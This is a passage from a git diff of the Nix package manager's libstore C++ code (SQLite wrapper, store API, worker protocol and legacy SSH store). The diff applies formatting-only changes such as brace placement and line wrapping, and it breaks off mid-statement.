SQLiteOpenMode { struct SQLite { sqlite3 * db = 0; - SQLite() { } + SQLite() {} SQLite(const Path & path, SQLiteOpenMode mode = SQLiteOpenMode::Normal); SQLite(const SQLite & from) = delete; - SQLite& operator = (const SQLite & from) = delete; + SQLite & operator=(const SQLite & from) = delete; // NOTE: This is noexcept since we are only copying and assigning raw pointers. - SQLite& operator = (SQLite && from) noexcept { db = from.db; from.db = 0; return *this; } + SQLite & operator=(SQLite && from) noexcept + { + db = from.db; + from.db = 0; + return *this; + } ~SQLite(); - operator sqlite3 * () { return db; } + operator sqlite3 *() + { + return db; + } /** * Disable synchronous mode, set truncate journal mode. @@ -65,11 +73,17 @@ struct SQLiteStmt sqlite3 * db = 0; sqlite3_stmt * stmt = 0; std::string sql; - SQLiteStmt() { } - SQLiteStmt(sqlite3 * db, const std::string & sql) { create(db, sql); } + SQLiteStmt() {} + SQLiteStmt(sqlite3 * db, const std::string & sql) + { + create(db, sql); + } void create(sqlite3 * db, const std::string & s); ~SQLiteStmt(); - operator sqlite3_stmt * () { return stmt; } + operator sqlite3_stmt *() + { + return stmt; + } /** * Helper for binding / executing statements. @@ -89,9 +103,9 @@ struct SQLiteStmt /** * Bind the next parameter. */ - Use & operator () (std::string_view value, bool notNull = true); - Use & operator () (const unsigned char * data, size_t len, bool notNull = true); - Use & operator () (int64_t value, bool notNull = true); + Use & operator()(std::string_view value, bool notNull = true); + Use & operator()(const unsigned char * data, size_t len, bool notNull = true); + Use & operator()(int64_t value, bool notNull = true); Use & bind(); // null int step(); @@ -134,7 +148,6 @@ struct SQLiteTxn ~SQLiteTxn(); }; - struct SQLiteError : Error { std::string path; @@ -142,21 +155,29 @@ struct SQLiteError : Error int errNo, extendedErrNo, offset; template - [[noreturn]] static void throw_(sqlite3 * db, const std::string & fs, const Args & ... args) { + [[noreturn]] static void throw_(sqlite3 * db, const std::string & fs, const Args &... args) + { throw_(db, HintFmt(fs, args...)); } - SQLiteError(const char *path, const char *errMsg, int errNo, int extendedErrNo, int offset, HintFmt && hf); + SQLiteError(const char * path, const char * errMsg, int errNo, int extendedErrNo, int offset, HintFmt && hf); protected: template - SQLiteError(const char *path, const char *errMsg, int errNo, int extendedErrNo, int offset, const std::string & fs, const Args & ... args) - : SQLiteError(path, errMsg, errNo, extendedErrNo, offset, HintFmt(fs, args...)) - { } + SQLiteError( + const char * path, + const char * errMsg, + int errNo, + int extendedErrNo, + int offset, + const std::string & fs, + const Args &... args) + : SQLiteError(path, errMsg, errNo, extendedErrNo, offset, HintFmt(fs, args...)) + { + } [[noreturn]] static void throw_(sqlite3 * db, HintFmt && hf); - }; MakeError(SQLiteBusy, SQLiteError); diff --git a/src/libstore/include/nix/store/ssh.hh b/src/libstore/include/nix/store/ssh.hh index 40f2189d8..d7866edf1 100644 --- a/src/libstore/include/nix/store/ssh.hh +++ b/src/libstore/include/nix/store/ssh.hh @@ -46,7 +46,9 @@ public: std::string_view host, std::string_view keyFile, std::string_view sshPublicHostKey, - bool useMaster, bool compress, Descriptor logFD = INVALID_DESCRIPTOR); + bool useMaster, + bool compress, + Descriptor logFD = INVALID_DESCRIPTOR); struct Connection { @@ -75,9 +77,7 @@ public: * execute). Will not be used when "fake SSHing" to the local * machine. */ - std::unique_ptr startCommand( - Strings && command, - Strings && extraSshArgs = {}); + std::unique_ptr startCommand(Strings && command, Strings && extraSshArgs = {}); }; } diff --git a/src/libstore/include/nix/store/store-api.hh b/src/libstore/include/nix/store/store-api.hh index 070abbe97..3627b1cfa 100644 --- a/src/libstore/include/nix/store/store-api.hh +++ b/src/libstore/include/nix/store/store-api.hh @@ -23,7 +23,6 @@ #include #include - namespace nix { /** @@ -75,10 +74,8 @@ struct SourceAccessor; class NarInfoDiskCache; class Store; - typedef std::map OutputPathMap; - enum CheckSigsFlag : bool { NoCheckSigs = false, CheckSigs = true }; enum SubstituteFlag : bool { NoSubstitute = false, Substitute = true }; @@ -87,14 +84,12 @@ enum SubstituteFlag : bool { NoSubstitute = false, Substitute = true }; */ const uint32_t exportMagic = 0x4558494e; - enum BuildMode : uint8_t { bmNormal, bmRepair, bmCheck }; enum TrustedFlag : bool { NotTrusted = false, Trusted = true }; struct BuildResult; struct KeyedBuildResult; - typedef std::map> StorePathCAMap; struct StoreConfig : public StoreDirConfig @@ -107,7 +102,7 @@ struct StoreConfig : public StoreDirConfig static StringSet getDefaultSystemFeatures(); - virtual ~StoreConfig() { } + virtual ~StoreConfig() {} /** * The name of this type of store. @@ -131,10 +126,13 @@ struct StoreConfig : public StoreDirConfig return std::nullopt; } - const Setting pathInfoCacheSize{this, 65536, "path-info-cache-size", - "Size of the in-memory store path metadata cache."}; + const Setting pathInfoCacheSize{ + this, 65536, "path-info-cache-size", "Size of the in-memory store path metadata cache."}; - const Setting isTrusted{this, false, "trusted", + const Setting isTrusted{ + this, + false, + "trusted", R"( Whether paths from this store can be used as substitutes even if they are not signed by a key listed in the @@ -142,18 +140,26 @@ struct StoreConfig : public StoreDirConfig setting. )"}; - Setting priority{this, 0, "priority", + Setting priority{ + this, + 0, + "priority", R"( Priority of this store when used as a [substituter](@docroot@/command-ref/conf-file.md#conf-substituters). A lower value means a higher priority. )"}; - Setting wantMassQuery{this, false, "want-mass-query", + Setting wantMassQuery{ + this, + false, + "want-mass-query", R"( Whether this store can be queried efficiently for path validity when used as a [substituter](@docroot@/command-ref/conf-file.md#conf-substituters). )"}; - Setting systemFeatures{this, getDefaultSystemFeatures(), + Setting systemFeatures{ + this, + getDefaultSystemFeatures(), "system-features", R"( Optional [system features](@docroot@/command-ref/conf-file.md#conf-system-features) available on the system this store uses to build derivations. @@ -169,7 +175,8 @@ class Store : public std::enable_shared_from_this, public virtual StoreCo { protected: - struct PathInfoCacheValue { + struct PathInfoCacheValue + { /** * Time of cache entry creation or update @@ -191,8 +198,9 @@ protected: * Past tense, because a path can only be assumed to exists when * isKnownNow() && didExist() */ - inline bool didExist() { - return value != nullptr; + inline bool didExist() + { + return value != nullptr; } }; @@ -214,7 +222,7 @@ public: */ virtual void init() {}; - virtual ~Store() { } + virtual ~Store() {} /** * @todo move to `StoreConfig` one we store enough information in @@ -255,8 +263,7 @@ public: * Query which of the given paths is valid. Optionally, try to * substitute missing paths. */ - virtual StorePathSet queryValidPaths(const StorePathSet & paths, - SubstituteFlag maybeSubstitute = NoSubstitute); + virtual StorePathSet queryValidPaths(const StorePathSet & paths, SubstituteFlag maybeSubstitute = NoSubstitute); /** * Query the set of all valid paths. Note that for some store @@ -267,7 +274,9 @@ public: * `std::variant` to get rid of this hack. */ virtual StorePathSet queryAllValidPaths() - { unsupported("queryAllValidPaths"); } + { + unsupported("queryAllValidPaths"); + } constexpr static const char * MissingName = "x"; @@ -280,8 +289,7 @@ public: /** * Asynchronous version of queryPathInfo(). */ - void queryPathInfo(const StorePath & path, - Callback> callback) noexcept; + void queryPathInfo(const StorePath & path, Callback> callback) noexcept; /** * Version of queryPathInfo() that only queries the local narinfo cache and not @@ -301,9 +309,7 @@ public: /** * Asynchronous version of queryRealisation(). */ - void queryRealisation(const DrvOutput &, - Callback> callback) noexcept; - + void queryRealisation(const DrvOutput &, Callback> callback) noexcept; /** * Check whether the given valid path info is sufficiently attested, by @@ -321,17 +327,17 @@ public: return true; } - virtual bool realisationIsUntrusted(const Realisation & ) + virtual bool realisationIsUntrusted(const Realisation &) { return true; } protected: - virtual void queryPathInfoUncached(const StorePath & path, - Callback> callback) noexcept = 0; - virtual void queryRealisationUncached(const DrvOutput &, - Callback> callback) noexcept = 0; + virtual void + queryPathInfoUncached(const StorePath & path, Callback> callback) noexcept = 0; + virtual void + queryRealisationUncached(const DrvOutput &, Callback> callback) noexcept = 0; public: @@ -340,7 +346,9 @@ public: * The result is not cleared. */ virtual void queryReferrers(const StorePath & path, StorePathSet & referrers) - { unsupported("queryReferrers"); } + { + unsupported("queryReferrers"); + } /** * @return all currently valid derivations that have `path` as an @@ -350,7 +358,10 @@ public: * was actually used to produce `path`, which may not exist * anymore.) */ - virtual StorePathSet queryValidDerivers(const StorePath & path) { return {}; }; + virtual StorePathSet queryValidDerivers(const StorePath & path) + { + return {}; + }; /** * Query the outputs of the derivation denoted by `path`. @@ -362,9 +373,8 @@ public: * derivation. All outputs are mentioned so ones mising the mapping * are mapped to `std::nullopt`. */ - virtual std::map> queryPartialDerivationOutputMap( - const StorePath & path, - Store * evalStore = nullptr); + virtual std::map> + queryPartialDerivationOutputMap(const StorePath & path, Store * evalStore = nullptr); /** * Like `queryPartialDerivationOutputMap` but only considers @@ -374,8 +384,8 @@ public: * Just a helper function for implementing * `queryPartialDerivationOutputMap`. */ - virtual std::map> queryStaticPartialDerivationOutputMap( - const StorePath & path); + virtual std::map> + queryStaticPartialDerivationOutputMap(const StorePath & path); /** * Query the mapping outputName=>outputPath for the given derivation. @@ -392,7 +402,10 @@ public: /** * Query which of the given paths have substitutes. */ - virtual StorePathSet querySubstitutablePaths(const StorePathSet & paths) { return {}; }; + virtual StorePathSet querySubstitutablePaths(const StorePathSet & paths) + { + return {}; + }; /** * Query substitute info (i.e. references, derivers and download @@ -401,14 +414,16 @@ public: * If a path does not have substitute info, it's omitted from the * resulting ‘infos’ map. */ - virtual void querySubstitutablePathInfos(const StorePathCAMap & paths, - SubstitutablePathInfos & infos); + virtual void querySubstitutablePathInfos(const StorePathCAMap & paths, SubstitutablePathInfos & infos); /** * Import a path into the store. */ - virtual void addToStore(const ValidPathInfo & info, Source & narSource, - RepairFlag repair = NoRepair, CheckSigsFlag checkSigs = CheckSigs) = 0; + virtual void addToStore( + const ValidPathInfo & info, + Source & narSource, + RepairFlag repair = NoRepair, + CheckSigsFlag checkSigs = CheckSigs) = 0; /** * A list of paths infos along with a source providing the content @@ -419,16 +434,10 @@ public: /** * Import multiple paths into the store. */ - virtual void addMultipleToStore( - Source & source, - RepairFlag repair = NoRepair, - CheckSigsFlag checkSigs = CheckSigs); + virtual void addMultipleToStore(Source & source, RepairFlag repair = NoRepair, CheckSigsFlag checkSigs = CheckSigs); virtual void addMultipleToStore( - PathsSource && pathsToCopy, - Activity & act, - RepairFlag repair = NoRepair, - CheckSigsFlag checkSigs = CheckSigs); + PathsSource && pathsToCopy, Activity & act, RepairFlag repair = NoRepair, CheckSigsFlag checkSigs = CheckSigs); /** * Copy the contents of a path to the store and register the @@ -496,9 +505,13 @@ public: * retrieve this information otherwise. */ virtual void registerDrvOutput(const Realisation & output) - { unsupported("registerDrvOutput"); } + { + unsupported("registerDrvOutput"); + } virtual void registerDrvOutput(const Realisation & output, CheckSigsFlag checkSigs) - { return registerDrvOutput(output); } + { + return registerDrvOutput(output); + } /** * Write a NAR dump of a store path. @@ -566,8 +579,8 @@ public: * up with multiple different versions of dependencies without * explicitly choosing to allow it). */ - virtual BuildResult buildDerivation(const StorePath & drvPath, const BasicDerivation & drv, - BuildMode buildMode = bmNormal); + virtual BuildResult + buildDerivation(const StorePath & drvPath, const BasicDerivation & drv, BuildMode buildMode = bmNormal); /** * Ensure that a path is valid. If it is not currently valid, it @@ -581,28 +594,32 @@ public: * The root disappears as soon as we exit. */ virtual void addTempRoot(const StorePath & path) - { debug("not creating temporary root, store doesn't support GC"); } + { + debug("not creating temporary root, store doesn't support GC"); + } /** * @return a string representing information about the path that * can be loaded into the database using `nix-store --load-db` or * `nix-store --register-validity`. */ - std::string makeValidityRegistration(const StorePathSet & paths, - bool showDerivers, bool showHash); + std::string makeValidityRegistration(const StorePathSet & paths, bool showDerivers, bool showHash); /** * Optimise the disk space usage of the Nix store by hard-linking files * with the same contents. */ - virtual void optimiseStore() { }; + virtual void optimiseStore() {}; /** * Check the integrity of the Nix store. * * @return true if errors remain. */ - virtual bool verifyStore(bool checkContents, RepairFlag repair = NoRepair) { return false; }; + virtual bool verifyStore(bool checkContents, RepairFlag repair = NoRepair) + { + return false; + }; /** * @return An object to access files in the Nix store. @@ -620,7 +637,9 @@ public: * not verified. */ virtual void addSignatures(const StorePath & storePath, const StringSet & sigs) - { unsupported("addSignatures"); } + { + unsupported("addSignatures"); + } /** * Add signatures to a ValidPathInfo or Realisation using the secret keys @@ -658,22 +677,32 @@ public: * `referrers` relation instead of the `references` relation is * returned. */ - virtual void computeFSClosure(const StorePathSet & paths, - StorePathSet & out, bool flipDirection = false, - bool includeOutputs = false, bool includeDerivers = false); + virtual void computeFSClosure( + const StorePathSet & paths, + StorePathSet & out, + bool flipDirection = false, + bool includeOutputs = false, + bool includeDerivers = false); - void computeFSClosure(const StorePath & path, - StorePathSet & out, bool flipDirection = false, - bool includeOutputs = false, bool includeDerivers = false); + void computeFSClosure( + const StorePath & path, + StorePathSet & out, + bool flipDirection = false, + bool includeOutputs = false, + bool includeDerivers = false); /** * Given a set of paths that are to be built, return the set of * derivations that will be built, and the set of output paths that * will be substituted. */ - virtual void queryMissing(const std::vector & targets, - StorePathSet & willBuild, StorePathSet & willSubstitute, StorePathSet & unknown, - uint64_t & downloadSize, uint64_t & narSize); + virtual void queryMissing( + const std::vector & targets, + StorePathSet & willBuild, + StorePathSet & willSubstitute, + StorePathSet & unknown, + uint64_t & downloadSize, + uint64_t & narSize); /** * Sort a set of paths topologically under the references @@ -741,7 +770,7 @@ public: * Establish a connection to the store, for store types that have * a notion of connection. Otherwise this is a no-op. */ - virtual void connect() { }; + virtual void connect() {}; /** * Get the protocol version of this store or it's connection. @@ -761,7 +790,6 @@ public: */ virtual std::optional isTrustedClient() = 0; - virtual Path toRealPath(const Path & storePath) { return storePath; @@ -776,9 +804,12 @@ public: * Synchronises the options of the client with those of the daemon * (a no-op when there’s no daemon) */ - virtual void setOptions() { } + virtual void setOptions() {} - virtual std::optional getVersion() { return {}; } + virtual std::optional getVersion() + { + return {}; + } protected: @@ -795,10 +826,8 @@ protected: { throw Unsupported("operation '%s' is not supported by store '%s'", op, getUri()); } - }; - /** * Copy a path from one store to another. */ @@ -809,7 +838,6 @@ void copyStorePath( RepairFlag repair = NoRepair, CheckSigsFlag checkSigs = CheckSigs); - /** * Copy store paths from one store to another. The paths may be copied * in parallel. They are copied in a topologically sorted order (i.e. if @@ -819,14 +847,16 @@ void copyStorePath( * @return a map of what each path was copied to the dstStore as. */ std::map copyPaths( - Store & srcStore, Store & dstStore, + Store & srcStore, + Store & dstStore, const std::set &, RepairFlag repair = NoRepair, CheckSigsFlag checkSigs = CheckSigs, SubstituteFlag substitute = NoSubstitute); std::map copyPaths( - Store & srcStore, Store & dstStore, + Store & srcStore, + Store & dstStore, const StorePathSet & paths, RepairFlag repair = NoRepair, CheckSigsFlag checkSigs = CheckSigs, @@ -836,14 +866,16 @@ std::map copyPaths( * Copy the closure of `paths` from `srcStore` to `dstStore`. */ void copyClosure( - Store & srcStore, Store & dstStore, + Store & srcStore, + Store & dstStore, const std::set & paths, RepairFlag repair = NoRepair, CheckSigsFlag checkSigs = CheckSigs, SubstituteFlag substitute = NoSubstitute); void copyClosure( - Store & srcStore, Store & dstStore, + Store & srcStore, + Store & dstStore, const StorePathSet & paths, RepairFlag repair = NoRepair, CheckSigsFlag checkSigs = CheckSigs, @@ -856,7 +888,6 @@ void copyClosure( */ void removeTempRoots(); - /** * Resolve the derived path completely, failing if any derivation output * is unknown. @@ -864,21 +895,18 @@ void removeTempRoots(); StorePath resolveDerivedPath(Store &, const SingleDerivedPath &, Store * evalStore = nullptr); OutputPathMap resolveDerivedPath(Store &, const DerivedPath::Built &, Store * evalStore = nullptr); - /** * @return a Store object to access the Nix store denoted by * ‘uri’ (slight misnomer...). */ ref openStore(StoreReference && storeURI); - /** * Opens the store at `uri`, where `uri` is in the format expected by `StoreReference::parse` */ -ref openStore(const std::string & uri = settings.storeUri.get(), - const Store::Params & extraParams = Store::Params()); - +ref +openStore(const std::string & uri = settings.storeUri.get(), const Store::Params & extraParams = Store::Params()); /** * @return the default substituter stores, defined by the @@ -893,11 +921,10 @@ struct StoreFactory * The `authorityPath` parameter is `/`, or really * whatever comes after `://` and before `?`. */ - std::function ( - std::string_view scheme, - std::string_view authorityPath, - const Store::Params & params)> create; - std::function ()> getConfig; + std::function( + std::string_view scheme, std::string_view authorityPath, const Store::Params & params)> + create; + std::function()> getConfig; }; struct Implementations @@ -907,18 +934,14 @@ struct Implementations template static void add() { - if (!registered) registered = new std::vector(); + if (!registered) + registered = new std::vector(); StoreFactory factory{ .uriSchemes = TConfig::uriSchemes(), - .create = - ([](auto scheme, auto uri, auto & params) - -> std::shared_ptr - { return std::make_shared(scheme, uri, params); }), - .getConfig = - ([]() - -> std::shared_ptr - { return std::make_shared(StringMap({})); }) - }; + .create = ([](auto scheme, auto uri, auto & params) -> std::shared_ptr { + return std::make_shared(scheme, uri, params); + }), + .getConfig = ([]() -> std::shared_ptr { return std::make_shared(StringMap({})); })}; registered->push_back(factory); } }; @@ -932,25 +955,18 @@ struct RegisterStoreImplementation } }; - /** * Display a set of paths in human-readable form (i.e., between quotes * and separated by commas). */ std::string showPaths(const PathSet & paths); - -std::optional decodeValidPathInfo( - const Store & store, - std::istream & str, - std::optional hashGiven = std::nullopt); +std::optional +decodeValidPathInfo(const Store & store, std::istream & str, std::optional hashGiven = std::nullopt); const ContentAddress * getDerivationCA(const BasicDerivation & drv); -std::map drvOutputReferences( - Store & store, - const Derivation & drv, - const StorePath & outputPath, - Store * evalStore = nullptr); +std::map +drvOutputReferences(Store & store, const Derivation & drv, const StorePath & outputPath, Store * evalStore = nullptr); } diff --git a/src/libstore/include/nix/store/store-dir-config.hh b/src/libstore/include/nix/store/store-dir-config.hh index 845a003f5..92599d545 100644 --- a/src/libstore/include/nix/store/store-dir-config.hh +++ b/src/libstore/include/nix/store/store-dir-config.hh @@ -10,7 +10,6 @@ #include #include - namespace nix { struct SourcePath; @@ -26,7 +25,9 @@ struct StoreDirConfig : public Config virtual ~StoreDirConfig() = default; - const PathSetting storeDir_{this, settings.nixStore, + const PathSetting storeDir_{ + this, + settings.nixStore, "store", R"( Logical location of the Nix store, usually @@ -79,13 +80,10 @@ struct StoreDirConfig : public Config /** * Constructs a unique store path name. */ - StorePath makeStorePath(std::string_view type, - std::string_view hash, std::string_view name) const; - StorePath makeStorePath(std::string_view type, - const Hash & hash, std::string_view name) const; + StorePath makeStorePath(std::string_view type, std::string_view hash, std::string_view name) const; + StorePath makeStorePath(std::string_view type, const Hash & hash, std::string_view name) const; - StorePath makeOutputPath(std::string_view id, - const Hash & hash, std::string_view name) const; + StorePath makeOutputPath(std::string_view id, const Hash & hash, std::string_view name) const; StorePath makeFixedOutputPath(std::string_view name, const FixedOutputInfo & info) const; diff --git a/src/libstore/include/nix/store/uds-remote-store.hh b/src/libstore/include/nix/store/uds-remote-store.hh index f7ef76058..c6ac089a9 100644 --- a/src/libstore/include/nix/store/uds-remote-store.hh +++ b/src/libstore/include/nix/store/uds-remote-store.hh @@ -17,12 +17,12 @@ struct UDSRemoteStoreConfig : virtual LocalFSStoreConfig, virtual RemoteStoreCon /** * @param authority is the socket path. */ - UDSRemoteStoreConfig( - std::string_view scheme, - std::string_view authority, - const Params & params); + UDSRemoteStoreConfig(std::string_view scheme, std::string_view authority, const Params & params); - const std::string name() override { return "Local Daemon Store"; } + const std::string name() override + { + return "Local Daemon Store"; + } std::string doc() override; @@ -39,35 +39,36 @@ protected: public: static std::set uriSchemes() - { return {scheme}; } + { + return {scheme}; + } }; -class UDSRemoteStore : public virtual UDSRemoteStoreConfig - , public virtual IndirectRootStore - , public virtual RemoteStore +class UDSRemoteStore : public virtual UDSRemoteStoreConfig, public virtual IndirectRootStore, public virtual RemoteStore { public: /** * @deprecated This is the old API to construct the store. - */ + */ UDSRemoteStore(const Params & params); /** * @param authority is the socket path. */ - UDSRemoteStore( - std::string_view scheme, - std::string_view authority, - const Params & params); + UDSRemoteStore(std::string_view scheme, std::string_view authority, const Params & params); std::string getUri() override; ref getFSAccessor(bool requireValidPath = true) override - { return LocalFSStore::getFSAccessor(requireValidPath); } + { + return LocalFSStore::getFSAccessor(requireValidPath); + } void narFromPath(const StorePath & path, Sink & sink) override - { LocalFSStore::narFromPath(path, sink); } + { + LocalFSStore::narFromPath(path, sink); + } /** * Implementation of `IndirectRootStore::addIndirectRoot()` which diff --git a/src/libstore/include/nix/store/worker-protocol-impl.hh b/src/libstore/include/nix/store/worker-protocol-impl.hh index 337c245e2..6b138af25 100644 --- a/src/libstore/include/nix/store/worker-protocol-impl.hh +++ b/src/libstore/include/nix/store/worker-protocol-impl.hh @@ -15,14 +15,15 @@ namespace nix { /* protocol-agnostic templates */ -#define WORKER_USE_LENGTH_PREFIX_SERIALISER(TEMPLATE, T) \ - TEMPLATE T WorkerProto::Serialise< T >::read(const StoreDirConfig & store, WorkerProto::ReadConn conn) \ - { \ - return LengthPrefixedProtoHelper::read(store, conn); \ - } \ - TEMPLATE void WorkerProto::Serialise< T >::write(const StoreDirConfig & store, WorkerProto::WriteConn conn, const T & t) \ - { \ - LengthPrefixedProtoHelper::write(store, conn, t); \ +#define WORKER_USE_LENGTH_PREFIX_SERIALISER(TEMPLATE, T) \ + TEMPLATE T WorkerProto::Serialise::read(const StoreDirConfig & store, WorkerProto::ReadConn conn) \ + { \ + return LengthPrefixedProtoHelper::read(store, conn); \ + } \ + TEMPLATE void WorkerProto::Serialise::write( \ + const StoreDirConfig & store, WorkerProto::WriteConn conn, const T & t) \ + { \ + LengthPrefixedProtoHelper::write(store, conn, t); \ } WORKER_USE_LENGTH_PREFIX_SERIALISER(template, std::vector) @@ -42,14 +43,11 @@ struct WorkerProto::Serialise { static T read(const StoreDirConfig & store, WorkerProto::ReadConn conn) { - return CommonProto::Serialise::read(store, - CommonProto::ReadConn { .from = conn.from }); + return CommonProto::Serialise::read(store, CommonProto::ReadConn{.from = conn.from}); } static void write(const StoreDirConfig & store, WorkerProto::WriteConn conn, const T & t) { - CommonProto::Serialise::write(store, - CommonProto::WriteConn { .to = conn.to }, - t); + CommonProto::Serialise::write(store, CommonProto::WriteConn{.to = conn.to}, t); } }; diff --git a/src/libstore/include/nix/store/worker-protocol.hh b/src/libstore/include/nix/store/worker-protocol.hh index 3060681b8..22f36850f 100644 --- a/src/libstore/include/nix/store/worker-protocol.hh +++ b/src/libstore/include/nix/store/worker-protocol.hh @@ -7,7 +7,6 @@ namespace nix { - #define WORKER_MAGIC_1 0x6e697863 #define WORKER_MAGIC_2 0x6478696f @@ -17,16 +16,14 @@ namespace nix { #define GET_PROTOCOL_MAJOR(x) ((x) & 0xff00) #define GET_PROTOCOL_MINOR(x) ((x) & 0x00ff) - -#define STDERR_NEXT 0x6f6c6d67 -#define STDERR_READ 0x64617461 // data needed from source +#define STDERR_NEXT 0x6f6c6d67 +#define STDERR_READ 0x64617461 // data needed from source #define STDERR_WRITE 0x64617416 // data for sink -#define STDERR_LAST 0x616c7473 +#define STDERR_LAST 0x616c7473 #define STDERR_ERROR 0x63787470 #define STDERR_START_ACTIVITY 0x53545254 -#define STDERR_STOP_ACTIVITY 0x53544f50 -#define STDERR_RESULT 0x52534c54 - +#define STDERR_STOP_ACTIVITY 0x53544f50 +#define STDERR_RESULT 0x52534c54 struct StoreDirConfig; struct Source; @@ -40,7 +37,6 @@ struct UnkeyedValidPathInfo; enum BuildMode : uint8_t; enum TrustedFlag : bool; - /** * The "worker protocol", used by unix:// and ssh-ng:// stores. * @@ -65,7 +61,8 @@ struct WorkerProto * A unidirectional read connection, to be used by the read half of the * canonical serializers below. */ - struct ReadConn { + struct ReadConn + { Source & from; Version version; }; @@ -74,7 +71,8 @@ struct WorkerProto * A unidirectional write connection, to be used by the write half of the * canonical serializers below. */ - struct WriteConn { + struct WriteConn + { Sink & to; Version version; }; @@ -139,11 +137,10 @@ struct WorkerProto static const std::set allFeatures; }; -enum struct WorkerProto::Op : uint64_t -{ +enum struct WorkerProto::Op : uint64_t { IsValidPath = 1, HasSubstitutes = 3, - QueryPathHash = 4, // obsolete + QueryPathHash = 4, // obsolete QueryReferences = 5, // obsolete QueryReferrers = 6, AddToStore = 7, @@ -154,7 +151,7 @@ enum struct WorkerProto::Op : uint64_t AddIndirectRoot = 12, SyncWithGC = 13, FindRoots = 14, - ExportPath = 16, // obsolete + ExportPath = 16, // obsolete QueryDeriver = 18, // obsolete SetOptions = 19, CollectGarbage = 20, @@ -164,7 +161,7 @@ enum struct WorkerProto::Op : uint64_t QueryFailedPaths = 24, ClearFailedPaths = 25, QueryPathInfo = 26, - ImportPaths = 27, // obsolete + ImportPaths = 27, // obsolete QueryDerivationOutputNames = 28, // obsolete QueryPathFromHashPart = 29, QuerySubstitutablePathInfos = 30, @@ -210,7 +207,7 @@ struct WorkerProto::ClientHandshakeInfo */ std::optional remoteTrustsUs; - bool operator == (const ClientHandshakeInfo &) const = default; + bool operator==(const ClientHandshakeInfo &) const = default; }; /** @@ -219,7 +216,7 @@ struct WorkerProto::ClientHandshakeInfo * @todo Switch to using `WorkerProto::Serialise` instead probably. But * this was not done at this time so there would be less churn. */ -inline Sink & operator << (Sink & sink, WorkerProto::Op op) +inline Sink & operator<<(Sink & sink, WorkerProto::Op op) { return sink << static_cast(op); } @@ -229,7 +226,7 @@ inline Sink & operator << (Sink & sink, WorkerProto::Op op) * * @todo Perhaps render known opcodes more nicely. */ -inline std::ostream & operator << (std::ostream & s, WorkerProto::Op op) +inline std::ostream & operator<<(std::ostream & s, WorkerProto::Op op) { return s << static_cast(op); } @@ -244,10 +241,10 @@ inline std::ostream & operator << (std::ostream & s, WorkerProto::Op op) * be legal specialization syntax. See below for what that looks like in * practice. */ -#define DECLARE_WORKER_SERIALISER(T) \ - struct WorkerProto::Serialise< T > \ - { \ - static T read(const StoreDirConfig & store, WorkerProto::ReadConn conn); \ +#define DECLARE_WORKER_SERIALISER(T) \ + struct WorkerProto::Serialise \ + { \ + static T read(const StoreDirConfig & store, WorkerProto::ReadConn conn); \ static void write(const StoreDirConfig & store, WorkerProto::WriteConn conn, const T & t); \ }; diff --git a/src/libstore/legacy-ssh-store.cc b/src/libstore/legacy-ssh-store.cc index 1512a7944..92fb51394 100644 --- a/src/libstore/legacy-ssh-store.cc +++ b/src/libstore/legacy-ssh-store.cc @@ -15,10 +15,7 @@ namespace nix { -LegacySSHStoreConfig::LegacySSHStoreConfig( - std::string_view scheme, - std::string_view authority, - const Params & params) +LegacySSHStoreConfig::LegacySSHStoreConfig(std::string_view scheme, std::string_view authority, const Params & params) : StoreConfig(params) , CommonSSHStoreConfig(scheme, authority, params) { @@ -27,38 +24,33 @@ LegacySSHStoreConfig::LegacySSHStoreConfig( std::string LegacySSHStoreConfig::doc() { return - #include "legacy-ssh-store.md" - ; +#include "legacy-ssh-store.md" + ; } - struct LegacySSHStore::Connection : public ServeProto::BasicClientConnection { std::unique_ptr sshConn; bool good = true; }; -LegacySSHStore::LegacySSHStore( - std::string_view scheme, - std::string_view host, - const Params & params) +LegacySSHStore::LegacySSHStore(std::string_view scheme, std::string_view host, const Params & params) : StoreConfig(params) , CommonSSHStoreConfig(scheme, host, params) , LegacySSHStoreConfig(scheme, host, params) , Store(params) - , connections(make_ref>( - std::max(1, (int) maxConnections), - [this]() { return openConnection(); }, - [](const ref & r) { return r->good; } - )) + , connections( + make_ref>( + std::max(1, (int) maxConnections), + [this]() { return openConnection(); }, + [](const ref & r) { return r->good; })) , master(createSSHMaster( - // Use SSH master only if using more than 1 connection. - connections->capacity() > 1, - logFD)) + // Use SSH master only if using more than 1 connection. + connections->capacity() > 1, + logFD)) { } - ref LegacySSHStore::openConnection() { auto conn = make_ref(); @@ -79,8 +71,7 @@ ref LegacySSHStore::openConnection() StringSink saved; TeeSource tee(conn->from, saved); try { - conn->remoteVersion = ServeProto::BasicClientConnection::handshake( - conn->to, tee, SERVE_PROTOCOL_VERSION, host); + conn->remoteVersion = ServeProto::BasicClientConnection::handshake(conn->to, tee, SERVE_PROTOCOL_VERSION, host); } catch (SerialisationError & e) { // in.close(): Don't let the remote block on us not writing. conn->sshConn->in.close(); @@ -88,8 +79,7 @@ ref LegacySSHStore::openConnection() NullSink nullSink; tee.drainInto(nullSink); } - throw Error("'nix-store --serve' protocol mismatch from '%s', got '%s'", - host, chomp(saved.s)); + throw Error("'nix-store --serve' protocol mismatch from '%s', got '%s'", host, chomp(saved.s)); } catch (EndOfFile & e) { throw Error("cannot connect to '%1%'", host); } @@ -97,14 +87,12 @@ ref LegacySSHStore::openConnection() return conn; }; - std::string LegacySSHStore::getUri() { return *uriSchemes().begin() + "://" + host; } -std::map LegacySSHStore::queryPathInfosUncached( - const StorePathSet & paths) +std::map LegacySSHStore::queryPathInfosUncached(const StorePathSet & paths) { auto conn(connections->get()); @@ -123,8 +111,8 @@ std::map LegacySSHStore::queryPathInfosUncached return infos; } -void LegacySSHStore::queryPathInfoUncached(const StorePath & path, - Callback> callback) noexcept +void LegacySSHStore::queryPathInfoUncached( + const StorePath & path, Callback> callback) noexcept { try { auto infos = queryPathInfosUncached({path}); @@ -136,20 +124,17 @@ void LegacySSHStore::queryPathInfoUncached(const StorePath & path, auto & [path2, info] = *infos.begin(); assert(path == path2); - return callback(std::make_shared( - std::move(path), - std::move(info) - )); + return callback(std::make_shared(std::move(path), std::move(info))); } default: throw Error("More path infos returned than queried"); } - } catch (...) { callback.rethrow(); } + } catch (...) { + callback.rethrow(); + } } - -void LegacySSHStore::addToStore(const ValidPathInfo & info, Source & source, - RepairFlag repair, CheckSigsFlag checkSigs) +void LegacySSHStore::addToStore(const ValidPathInfo & info, Source & source, RepairFlag repair, CheckSigsFlag checkSigs) { debug("adding path '%s' to remote host '%s'", printStorePath(info.path), host); @@ -157,18 +142,12 @@ void LegacySSHStore::addToStore(const ValidPathInfo & info, Source & source, if (GET_PROTOCOL_MINOR(conn->remoteVersion) >= 5) { - conn->to - << 